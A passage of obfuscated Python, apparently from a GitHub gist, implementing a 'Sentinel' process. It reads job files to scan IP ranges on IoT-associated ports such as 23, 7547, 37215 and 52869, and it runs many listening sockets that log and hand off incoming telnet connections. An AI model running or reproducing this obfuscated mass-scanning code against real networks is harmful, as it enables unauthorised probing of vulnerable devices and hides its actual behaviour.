IiIII1iiiI1ii = os . listdir ( '/tmp/system/update' )
for file in IiIII1iiiI1ii :
Oo00oO0O = re . search ( '^sentinel\.jobreq\.SCN\.(\S+)\.(\d+\.\d+\.\d+\.)(\d+)\-(\d+)' , file )
if Oo00oO0O :
if I1IiiIiii111I > 2100 :
O00Oo0oOO0O = Oo00oO0O . group ( 1 )
iIIiII1i1 = Oo00oO0O . group ( 2 )
IiI1iIiII1 = int ( Oo00oO0O . group ( 3 ) )
oOO0 = int ( Oo00oO0O . group ( 4 ) )
Ii111i11iIi ( "NOTC: SCN ref %s for range %s%d - %s%d" % ( O00Oo0oOO0O , iIIiII1i1 , IiI1iIiII1 , iIIiII1i1 , oOO0 ) )
os . remove ( '/tmp/system/update/' + file )
for IiiiI in range ( IiI1iIiII1 , oOO0 + 1 ) :
oOo00OoOO0oo = iIIiII1i1 + '%d' % ( IiiiI )
iII1I1I ( oOo00OoOO0oo , 1 )
break
else :
Ii111i11iIi ( "NOTC: Skipping SCN due to low system RAM %d" % ( I1IiiIiii111I ) )
O00oOo += 1
Oo00oO0O = re . search ( '^sentinel\.jobreq\.SCN\.(\S+)\.(\d+\.\d+\.\d+\.\d+)' , file )
if Oo00oO0O :
O00Oo0oOO0O = Oo00oO0O . group ( 1 )
oOo00OoOO0oo = Oo00oO0O . group ( 2 )
Ii111i11iIi ( "NOTC: SCN ref %s for ip %s" % ( O00Oo0oOO0O , oOo00OoOO0oo ) )
os . remove ( '/tmp/system/update/' + file )
iII1I1I ( oOo00OoOO0oo , 1 )
continue
Oo00oO0O = re . search ( '^sentinel\.jobreq\.SCP\.(\S+)\.(\d+)_(\d+\.\d+\.\d+\.)(\d+)\-(\d+)' , file )
if Oo00oO0O :
O00Oo0oOO0O = Oo00oO0O . group ( 1 )
oo0OOOo00oOOO0OO = int ( Oo00oO0O . group ( 2 ) )
iIIiII1i1 = Oo00oO0O . group ( 3 )
IiI1iIiII1 = int ( Oo00oO0O . group ( 4 ) )
oOO0 = int ( Oo00oO0O . group ( 5 ) )
Ii111i11iIi ( "NOTC: SCP ref %s for range %s%d - %s%d port %d" % ( O00Oo0oOO0O , iIIiII1i1 , IiI1iIiII1 , iIIiII1i1 , oOO0 , oo0OOOo00oOOO0OO ) )
os . remove ( '/tmp/system/update/' + file )
if 24 - 24: OOOoOooO
if oo0OOOo00oOOO0OO == 1 :
for IiiiI in range ( IiI1iIiII1 , oOO0 + 1 ) :
oOo00OoOO0oo = iIIiII1i1 + '%d' % ( IiiiI )
IIii1IIi1I ( oOo00OoOO0oo , 23 )
IIii1IIi1I ( oOo00OoOO0oo , 80 )
IIii1IIi1I ( oOo00OoOO0oo , 7547 )
IIii1IIi1I ( oOo00OoOO0oo , 9527 )
IIii1IIi1I ( oOo00OoOO0oo , 37215 )
IIii1IIi1I ( oOo00OoOO0oo , 52869 )
elif oo0OOOo00oOOO0OO == 2 :
for IiiiI in range ( IiI1iIiII1 , oOO0 + 1 ) :
oOo00OoOO0oo = iIIiII1i1 + '%d' % ( IiiiI )
IIii1IIi1I ( oOo00OoOO0oo , 23 )
IIii1IIi1I ( oOo00OoOO0oo , 80 )
IIii1IIi1I ( oOo00OoOO0oo , 81 )
IIii1IIi1I ( oOo00OoOO0oo , 8080 )
IIii1IIi1I ( oOo00OoOO0oo , 7547 )
IIii1IIi1I ( oOo00OoOO0oo , 5555 )
IIii1IIi1I ( oOo00OoOO0oo , 37215 )
IIii1IIi1I ( oOo00OoOO0oo , 52869 )
elif oo0OOOo00oOOO0OO == 3 :
for IiiiI in range ( IiI1iIiII1 , oOO0 + 1 ) :
oOo00OoOO0oo = iIIiII1i1 + '%d' % ( IiiiI )
IIii1IIi1I ( oOo00OoOO0oo , 23 )
IIii1IIi1I ( oOo00OoOO0oo , 80 )
IIii1IIi1I ( oOo00OoOO0oo , 81 )
IIii1IIi1I ( oOo00OoOO0oo , 8080 )
IIii1IIi1I ( oOo00OoOO0oo , 37215 )
IIii1IIi1I ( oOo00OoOO0oo , 52869 )
elif oo0OOOo00oOOO0OO == 4 :
for IiiiI in range ( IiI1iIiII1 , oOO0 + 1 ) :
oOo00OoOO0oo = iIIiII1i1 + '%d' % ( IiiiI )
IIii1IIi1I ( oOo00OoOO0oo , 23 )
IIii1IIi1I ( oOo00OoOO0oo , 60023 )
IIii1IIi1I ( oOo00OoOO0oo , 4719 )
IIii1IIi1I ( oOo00OoOO0oo , 80 )
IIii1IIi1I ( oOo00OoOO0oo , 81 )
IIii1IIi1I ( oOo00OoOO0oo , 8080 )
IIii1IIi1I ( oOo00OoOO0oo , 37215 )
IIii1IIi1I ( oOo00OoOO0oo , 52869 )
elif oo0OOOo00oOOO0OO == 5 :
for IiiiI in range ( IiI1iIiII1 , oOO0 + 1 ) :
oOo00OoOO0oo = iIIiII1i1 + '%d' % ( IiiiI )
IIii1IIi1I ( oOo00OoOO0oo , 80 )
IIii1IIi1I ( oOo00OoOO0oo , 81 )
IIii1IIi1I ( oOo00OoOO0oo , 82 )
IIii1IIi1I ( oOo00OoOO0oo , 88 )
IIii1IIi1I ( oOo00OoOO0oo , 8080 )
IIii1IIi1I ( oOo00OoOO0oo , 8081 )
IIii1IIi1I ( oOo00OoOO0oo , 8181 )
IIii1IIi1I ( oOo00OoOO0oo , 8888 )
IIii1IIi1I ( oOo00OoOO0oo , 37215 )
IIii1IIi1I ( oOo00OoOO0oo , 52869 )
elif oo0OOOo00oOOO0OO == 6 :
for IiiiI in range ( IiI1iIiII1 , oOO0 + 1 ) :
oOo00OoOO0oo = iIIiII1i1 + '%d' % ( IiiiI )
IIii1IIi1I ( oOo00OoOO0oo , 23 )
IIii1IIi1I ( oOo00OoOO0oo , 2323 )
IIii1IIi1I ( oOo00OoOO0oo , 23231 )
IIii1IIi1I ( oOo00OoOO0oo , 23123 )
IIii1IIi1I ( oOo00OoOO0oo , 5358 )
IIii1IIi1I ( oOo00OoOO0oo , 6789 )
IIii1IIi1I ( oOo00OoOO0oo , 8023 )
IIii1IIi1I ( oOo00OoOO0oo , 60023 )
IIii1IIi1I ( oOo00OoOO0oo , 4719 )
IIii1IIi1I ( oOo00OoOO0oo , 9527 )
IIii1IIi1I ( oOo00OoOO0oo , 37215 )
IIii1IIi1I ( oOo00OoOO0oo , 52869 )
elif oo0OOOo00oOOO0OO == 7 :
for IiiiI in range ( IiI1iIiII1 , oOO0 + 1 ) :
oOo00OoOO0oo = iIIiII1i1 + '%d' % ( IiiiI )
IIii1IIi1I ( oOo00OoOO0oo , 23 )
IIii1IIi1I ( oOo00OoOO0oo , 8023 )
IIii1IIi1I ( oOo00OoOO0oo , 80 )
IIii1IIi1I ( oOo00OoOO0oo , 81 )
IIii1IIi1I ( oOo00OoOO0oo , 8080 )
IIii1IIi1I ( oOo00OoOO0oo , 8000 )
IIii1IIi1I ( oOo00OoOO0oo , 90 )
IIii1IIi1I ( oOo00OoOO0oo , 9000 )
IIii1IIi1I ( oOo00OoOO0oo , 37215 )
IIii1IIi1I ( oOo00OoOO0oo , 52869 )
elif oo0OOOo00oOOO0OO == 9 :
for IiiiI in range ( IiI1iIiII1 , oOO0 + 1 ) :
oOo00OoOO0oo = iIIiII1i1 + '%d' % ( IiiiI )
IIii1IIi1I ( oOo00OoOO0oo , 23 )
IIii1IIi1I ( oOo00OoOO0oo , 80 )
IIii1IIi1I ( oOo00OoOO0oo , 81 )
IIii1IIi1I ( oOo00OoOO0oo , 8080 )
IIii1IIi1I ( oOo00OoOO0oo , 7547 )
IIii1IIi1I ( oOo00OoOO0oo , 5555 )
IIii1IIi1I ( oOo00OoOO0oo , random . randint ( 1 , 65535 ) )
IIii1IIi1I ( oOo00OoOO0oo , 37215 )
IIii1IIi1I ( oOo00OoOO0oo , 52869 )
elif oo0OOOo00oOOO0OO == 10 :
for IiiiI in range ( IiI1iIiII1 , oOO0 + 1 ) :
oOo00OoOO0oo = iIIiII1i1 + '%d' % ( IiiiI )
IIii1IIi1I ( oOo00OoOO0oo , 23 )
IIii1IIi1I ( oOo00OoOO0oo , 80 )
IIii1IIi1I ( oOo00OoOO0oo , 81 )
IIii1IIi1I ( oOo00OoOO0oo , 8080 )
IIii1IIi1I ( oOo00OoOO0oo , random . randint ( 1 , 65535 ) )
IIii1IIi1I ( oOo00OoOO0oo , random . randint ( 1 , 65535 ) )
IIii1IIi1I ( oOo00OoOO0oo , random . randint ( 1 , 65535 ) )
IIii1IIi1I ( oOo00OoOO0oo , random . randint ( 1 , 65535 ) )
IIii1IIi1I ( oOo00OoOO0oo , random . randint ( 1 , 65535 ) )
IIii1IIi1I ( oOo00OoOO0oo , random . randint ( 1 , 65535 ) )
IIii1IIi1I ( oOo00OoOO0oo , 37215 )
IIii1IIi1I ( oOo00OoOO0oo , 52869 )
elif oo0OOOo00oOOO0OO == 11 :
for IiiiI in range ( IiI1iIiII1 , oOO0 + 1 ) :
oOo00OoOO0oo = iIIiII1i1 + '%d' % ( IiiiI )
IIii1IIi1I ( oOo00OoOO0oo , 23 )
IIii1IIi1I ( oOo00OoOO0oo , 80 )
IIii1IIi1I ( oOo00OoOO0oo , 81 )
IIii1IIi1I ( oOo00OoOO0oo , 82 )
IIii1IIi1I ( oOo00OoOO0oo , 8080 )
IIii1IIi1I ( oOo00OoOO0oo , 7547 )
IIii1IIi1I ( oOo00OoOO0oo , 8023 )
IIii1IIi1I ( oOo00OoOO0oo , 60023 )
IIii1IIi1I ( oOo00OoOO0oo , 23231 )
IIii1IIi1I ( oOo00OoOO0oo , 9527 )
IIii1IIi1I ( oOo00OoOO0oo , random . randint ( 1 , 65535 ) )
IIii1IIi1I ( oOo00OoOO0oo , 37215 )
IIii1IIi1I ( oOo00OoOO0oo , 52869 )
elif oo0OOOo00oOOO0OO == 12 :
for IiiiI in range ( IiI1iIiII1 , oOO0 + 1 ) :
oOo00OoOO0oo = iIIiII1i1 + '%d' % ( IiiiI )
IIii1IIi1I ( oOo00OoOO0oo , 23 )
IIii1IIi1I ( oOo00OoOO0oo , 80 )
IIii1IIi1I ( oOo00OoOO0oo , 81 )
IIii1IIi1I ( oOo00OoOO0oo , 82 )
IIii1IIi1I ( oOo00OoOO0oo , 8080 )
IIii1IIi1I ( oOo00OoOO0oo , 8023 )
IIii1IIi1I ( oOo00OoOO0oo , 60023 )
IIii1IIi1I ( oOo00OoOO0oo , 23231 )
IIii1IIi1I ( oOo00OoOO0oo , random . randint ( 1 , 65535 ) )
IIii1IIi1I ( oOo00OoOO0oo , 37215 )
IIii1IIi1I ( oOo00OoOO0oo , 52869 )
elif oo0OOOo00oOOO0OO == 13 :
for IiiiI in range ( IiI1iIiII1 , oOO0 + 1 ) :
oOo00OoOO0oo = iIIiII1i1 + '%d' % ( IiiiI )
IIii1IIi1I ( oOo00OoOO0oo , 23 )
IIii1IIi1I ( oOo00OoOO0oo , 2323 )
IIii1IIi1I ( oOo00OoOO0oo , 80 )
IIii1IIi1I ( oOo00OoOO0oo , 81 )
IIii1IIi1I ( oOo00OoOO0oo , 8080 )
IIii1IIi1I ( oOo00OoOO0oo , 7547 )
IIii1IIi1I ( oOo00OoOO0oo , 37215 )
IIii1IIi1I ( oOo00OoOO0oo , 52869 )
else :
for IiiiI in range ( IiI1iIiII1 , oOO0 + 1 ) :
oOo00OoOO0oo = iIIiII1i1 + '%d' % ( IiiiI )
IIii1IIi1I ( oOo00OoOO0oo , oo0OOOo00oOOO0OO )
break
else :
Oo00oO0O = re . search ( '^sentinel\.jobreq\.SCP\.(\S+)\.(\d+)_(\d+\.\d+\.\d+\.\d+)' , file )
if Oo00oO0O :
O00Oo0oOO0O = Oo00oO0O . group ( 1 )
oo0OOOo00oOOO0OO = int ( Oo00oO0O . group ( 2 ) )
oOo00OoOO0oo = Oo00oO0O . group ( 3 )
Ii111i11iIi ( "NOTC: SCP ref %s for ip %s port %d" % ( O00Oo0oOO0O , oOo00OoOO0oo , oo0OOOo00oOOO0OO ) )
os . remove ( '/tmp/system/update/' + file )
IIii1IIi1I ( oOo00OoOO0oo , oo0OOOo00oOOO0OO )
continue
except :
pass
if 49 - 49: Oo0Oo * oOOo0000o * Oooo + oOOoO00oo0 . IIiIii1iI / oOOoO00oo0
if O00oOo >= 3 :
Ii111i11iIi ( "ERR: Backlog of %d scans due to low RAM %d" % ( O00oOo , I1IiiIiii111I ) )
if 28 - 28: IIiII
if 89 - 89: I11I1Ii % O0oo * Ii11i1iIi
if 75 - 75: IIiIii1iI / i1 / OOOoOooO . O0oo0OOOOO00 * Oooo / Oo0Oo
if 77 - 77: Oooo
if 8 - 8: OOOoOooO / IIiII
time . sleep ( 3 )
if 89 - 89: Ii % IIiII - i1 * o0oooooO . Ii11i1iIi
if 41 - 41: i1
if 87 - 87: IIiIii1iI - Oo0Oo + oOOoO00oo0 + O0oo0OOOOO00 . O0oo0OOOOO00
OOOoooO0 = 0
iii1iiI111ii = False
for Ooo0o0oOO0o in II1I1i11 :
O0O0 = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
O0O0 . setsockopt ( socket . SOL_SOCKET , socket . SO_REUSEADDR , 1 )
try :
O0O0 . bind ( ( '0.0.0.0' , int ( Ooo0o0oOO0o ) ) )
O0O0 . listen ( 5 )
O0oO0ooooOO . append ( O0O0 )
Iiii [ int ( Ooo0o0oOO0o ) ] = O0O0
OOOoooO0 += 1
except :
pass
if 11 - 11: Oooo
if 79 - 79: OOooOO0 / O0oo0OOOOO00 - Oo0
Ii111i11iIi ( "Sentinel Process Launch (%d listeners)" % ( OOOoooO0 ) )
if 67 - 67: i1IIi1i1iiI + oOOo0000o
if 100 - 100: i1 + Oo0Oo - i1 / Oo0 * i1IIi1i1iiI
if 70 - 70: I11I1Ii + Ii * IIiIii1iI % O0oo0OOOOO00 . O0oo0OOOOO00
if 30 - 30: Oo0Oo - i1 . Oo0
if 11 - 11: oOOo0000o * OOOoOooO * oOOo0000o / i1IIi1i1iiI
if 30 - 30: IIiII / i1IIi1i1iiI * oOOoO00oo0
if 8 - 8: OOooOO0 + oOOo0000o * Oooo
if 96 - 96: i1 + oOoO0Ooo
if 96 - 96: i1
if 5 - 5: IIiIIiIii1I
if 26 - 26: O0oo0OOOOO00 % i1 - o0ooO / Oooo + O0oo0OOOOO00
if 1 - 1: oOoO0Ooo % o0oooooO - I11I1Ii * IIiII + I11I1Ii
if 10 - 10: Oooo + Oooo / Oo0Oo
if 66 - 66: Oo0Oo * Ii11i1iIi
i1I1oooo0oOooo = time . time ( )
Ii1i1iI1IiI = 0
O00oO0OOoOo = time . time ( )
o0o0o00oooOoo = time . time ( )
if 70 - 70: OOooOO0 * O0oo % OOOoOooO . oOOoO00oo0
while True :
ii1IIIi1 ( )
if 91 - 91: o0oooooO / O0oo0OOOOO00 * IIiII + O0oo0OOOOO00 . OOooOO0 + oOoO0Ooo
Iioo0OooOoO = time . time ( )
OoOO0Oo ( )
OOO0000OO0oO0 ( )
OooOo0o0oO0 ( )
oOOoOO ( )
O00o0oOOO0O0 ( )
Ooo0OO ( )
IIi1IIIIIi ( )
iI11IiI1 ( )
Oo0Oo0o ( )
IIiI1i , O0o0 , IiIIiI11I = select . select ( O0oO0ooooOO , [ ] , [ ] , 0.01 )
for iI11i1i1iiI in IIiI1i :
try :
III1 , Ii1ii1II1I = iI11i1i1iiI . accept ( )
except :
continue
oOoOo0oooo , ii1i1I = Ii1ii1II1I
iiIi1I1 = hash ( oOoOo0oooo )
if iiIi1I1 in I1I1I11 :
try :
III1 . close ( )
except :
pass
if 59 - 59: o0oooooO
continue
I1I1I11 [ iiIi1I1 ] = 1
OOOoo0 , Oo0o = III1 . getsockname ( )
if Oo0o in i11 :
if 82 - 82: Ii11i1iIi % i1IIi1i1iiI % Oo0Oo * IIiII
oOo00o . append ( III1 )
iIIiii = hash ( III1 )
O0oOo [ iIIiii ] = '%s:%d>%s:%d' % ( oOoOo0oooo , ii1i1I , OOOoo0 , Oo0o )
else :
if i111IIIiII1i :
Ii111i11iIi ( '%s:%d>%s:%d TN' % ( oOoOo0oooo , ii1i1I , OOOoo0 , Oo0o ) )
iII1I1I ( oOoOo0oooo , Oo0o )
O00000O ( oOoOo0oooo , Oo0o )
if 75 - 75: i1 . O0oo0OOOOO00 * OOooOO0 . i1IIi1i1iiI
if Ii1IIi1iI1i1I == 1 and ( Oo0o == 23 or Oo0o == 2323 ) :
OOo0OoooO ( III1 , oOoOo0oooo , Oo0o )
else :
try :
III1 . close ( )
except :
pass
IIiI1i , O0o0 , IiIIiI11I = select . select ( oOo00o , [ ] , [ ] , 0.01 )
for I1 in IIiI1i :
O0 = O0OO0 ( I1 , 1 )
iIIiii = hash ( I1 )
if O0 :
if re . search ( 'mips-unknown-linux-gnu' , O0 ) :
Ii111i11iIi ( "%s MF" % ( O0oOo [ iIIiii ] ) )
iIi1I11 = O0oOo [ iIIiii ] . split ( ':' )
if 87 - 87: Ii / Oo0Oo
iII1I1I ( iIi1I11 [ 0 ] , int ( iIi1I11 [ 2 ] ) )
O00000O ( iIi1I11 [ 0 ] , 80 )
try :
I1 . close ( )
except :
pass
oOo00o . remove ( I1 )
O0oOo [ iIIiii ] = None
if 71 - 71: oOOoO00oo0 / O0oo . Ii11i1iIi . O0oo / Ii11i1iIi
if Iioo0OooOoO - i1I1oooo0oOooo > 3 :
iIiiIi = min ( max ( len ( ii1o00 ) / 100 , 3 ) , 30 )
if 80 - 80: O0oo / i1 * Oooo / OOooOO0 + O0oo0OOOOO00
for O0OooO0Oo0O in range ( iIiiIi ) :
oo0OO0ooo0 ( )
O0oOoo0000 ( )
i1I1oooo0oOooo = Iioo0OooOoO
if Iioo0OooOoO - Ii1i1iI1IiI > 300 :
IiiIi1111 ( )
if 53 - 53: Oo0 - Oo0 . oOOoO00oo0
if i1IIOO0OOoO00OO == 0 and len ( ii1o00 ) == 0 :
o0o0oOOo = [ ]
oO0iIiiiii1 = { }
i11I11III1iii = { }
O0OO0O00000 = { }
O000O0o0oOOo = { }
i1II = { }
ii1o00 = [ ]
if len ( IiIIiI1iII1Ii ) :
if 91 - 91: o0ooO
IiI1Iiii = [ ]
for iiIiiIi1Ii1 in Oo0Oooo :
oooOo0o = 0
for I1iiiiI in IiIIiI1iII1Ii :
if I1iiiiI [ 0 ] == iiIiiIi1Ii1 [ 1 ] and int ( I1iiiiI [ 1 ] ) == int ( iiIiiIi1Ii1 [ 2 ] ) :
if 51 - 51: OOOoOooO % Ii11i1iIi % oOoO0Ooo * Oo0 * IIiIii1iI
oooOo0o = 1
break
if not oooOo0o :
IiI1Iiii . append ( iiIiiIi1Ii1 )
Oo0Oooo = IiI1Iiii
IiIIiI1iII1Ii = [ ]
if 6 - 6: O0oo0OOOOO00 / O0oo0OOOOO00 * IIiIii1iI * IIiIIiIii1I
if iii1iiI111ii :
if 14 - 14: oOoO0Ooo + Ii . oOOo0000o / IIiII - I11I1Ii
o0o0Ooo = { }
for iiIiiIi1Ii1 in Oo0Oooo :
o0o0Ooo [ hash ( iiIiiIi1Ii1 [ 1 ] ) ] = 1
if 95 - 95: oOoO0Ooo / I11I1Ii % IIiII - oOOoO00oo0 * o0oooooO
oO0OoOoO00OoO = o0o0Ooo
if 72 - 72: o0ooO % IIiIii1iI / O0oo . Oo0Oo * oOoO0Ooo
iii1iiI111ii = False
OOO000oOOooOO = III111I1 ( time . time ( ) )
for iiIiiIi1Ii1 in OOO000oOOooOO :
Oo0oOOooO0 = iiIiiIi1Ii1 [ 1 ]
iII111iI = int ( iiIiiIi1Ii1 [ 2 ] )
if 75 - 75: Oo0Oo % oOOo0000o % oOoO0Ooo % I11I1Ii
ii1o00 . insert ( 0 , "%s:%d" % ( Oo0oOOooO0 , iII111iI ) )
iii1iiI111ii = True
Ii1i1iI1IiI = Iioo0OooOoO
if Iioo0OooOoO - O00oO0OOoOo > 28800 :
if 35 - 35: Ii . O0oo . O0oo0OOOOO00 + O0oo * i1 / O0oo
I1I1I11 = { }
O00oO0OOoOo = Iioo0OooOoO
if Iioo0OooOoO - o0o0o00oooOoo > 3600 :
if 54 - 54: Oooo
IIiii1ii = III1iiIiiI ( )
if len ( IIiii1ii ) >= 8 :
Ii111i11iIi ( IIiii1ii )
Ii111i11iIi ( iIiiiiii1III1 ( ) )
iiOo0000O ( )
o0o0o00oooOoo = Iioo0OooOoO
if 70 - 70: i1 % IIiII + Oo0Oo
time . sleep ( 0.01 )
if 87 - 87: I11I1Ii / oOoO0Ooo % i1
if 67 - 67: oOOoO00oo0 / O0oo % IIiIIiIii1I - o0ooO
if 69 - 69: oOOo0000o
if 60 - 60: OOooOO0 * IIiIIiIii1I . o0oooooO - IIiIIiIii1I + oOOoO00oo0 - Oo0
if 8 - 8: o0ooO . i1IIi1i1iiI . Oo0 % OOOoOooO
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment